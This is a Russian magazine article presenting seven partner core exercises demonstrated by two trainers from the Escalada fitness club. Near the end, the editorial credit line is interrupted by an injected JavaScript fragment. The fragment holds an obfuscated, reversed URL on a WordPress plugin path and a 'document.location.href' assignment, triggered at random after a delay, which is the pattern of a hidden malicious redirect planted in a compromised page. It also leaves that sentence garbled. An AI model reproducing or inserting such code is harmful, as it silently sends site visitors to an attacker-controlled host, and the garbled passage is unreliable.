Тренироваться вдвоём не только весело, но и очень продуктивно. Мощные упражнения для прокачки мышц кора показывают мастер-тренеры фитнес-клуба Escalada Сергей и Дмитрий Котовы.
Сергей Котов
мастер-тренер фитнес-клуба Escalada
— Лучше всего делать эти упражнения как круговую тренировку. Выполняйте все упражнения без пауз, затем отдохните 5 минут и повторите всё сначала. Сделайте три круга — получится отличная тренировка для мышц живота и нижней части спины.
1. «Русский твист»
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
- Исходное положение — сидя на полу, ноги подняты, корпус ровный, отклонён назад, мяч касается пола.
- Выполните поворот корпуса и передайте мяч партнёру.
- Партнёр касается мячом пола и передаёт его обратно.
- Сделайте по 15 касаний пола мячом с каждой стороны.
2. Планка с касанием ладонями
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
- Исходное положение — классическая планка.
- На вдохе поднимите правую руку и левую ногу, коснитесь ладонью ладони партнёра. Он выполняет то же самое.
- На выдохе вернитесь в исходное положение.
- Чередуйте руки и ноги. Сделайте 20 касаний (по 10 на каждую руку).
3. Разгибания ног сидя
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
- Исходное положение — сидя на полу, обопритесь на руки позади себя. Ноги обоих партнёров подняты над полом и держат мяч, колени согнуты.
- На вдохе разогните колени и толкните мяч от себя к партнёру.
- На выдохе согните ноги — партнёр в это время разгибает ноги и толкает мяч к вам.
- Повторите 15 раз.
4. Классические скручивания с передачей мяча
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
- Исходное положение — лёжа на полу, колени согнуты. В руках мяч.
- На выдохе выполните подъём корпуса и передайте мяч партнёру.
- На вдохе вернитесь в исходное положение.
- Повторите 20 раз.
5. Стойка на одной ноге с продавливанием ладоней и разгибанием локтей
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
- Исходное положение — стоя одной ноге друг напротив друга, правая ладонь упирается в правую ладонь партнёра.
- По очереди толкайте ладони друг друга.
- Повторите по 20 раз на каждую руку.
Сергей Котов
мастер-тренер фитнес-клуба Escalada
— Тренироваться вдвоём всегда интересно и весело. Это позволяет выполнить некоторые парные упражнения, которые невозможно сделать без партнёра. Кроме того, у вас не получится расслабиться или не доделать тренировку, чтобы не подводить напарника.
6. Приседания спина к спине
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
- Исходное положение — стоя спина к спине, сплетите руки в замок.
- На вдохе выполните присед.
- На выдохе вернитесь в исходное положение.
- Повторите 15 раз.
7. Подъёмы ног
Фото: Кирилл Ском
Фото: Кирилл Ском
Фото: Кирилл Ском
- Исходное положение — лёжа на полу, руками держите ноги партнёра. Партнёр стоит.
- На выдохе поднимите ноги до касания с руками партнёра. Партнёр отталкивает ваши ноги.
- На вдохе опустите ноги, коснитесь пятками пола.
- Повторите 15 раз и поменяйтесь.
Редакция fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru благодарит фитнес-клуб Escalada за помощь в организации и проведении съёмки.
Статьи по теме
Круговая тренировка: как за 15 минут избавиться от своего жира
Как укрепить мышцы кора: 4 эффективных вида планки
Самая красивая гольфистка России: «Я выбираю тренировки со свободными весами, бег и бокс»
Круговая тренировка для всего тела: 3 нереальных упражнения от американского тренера
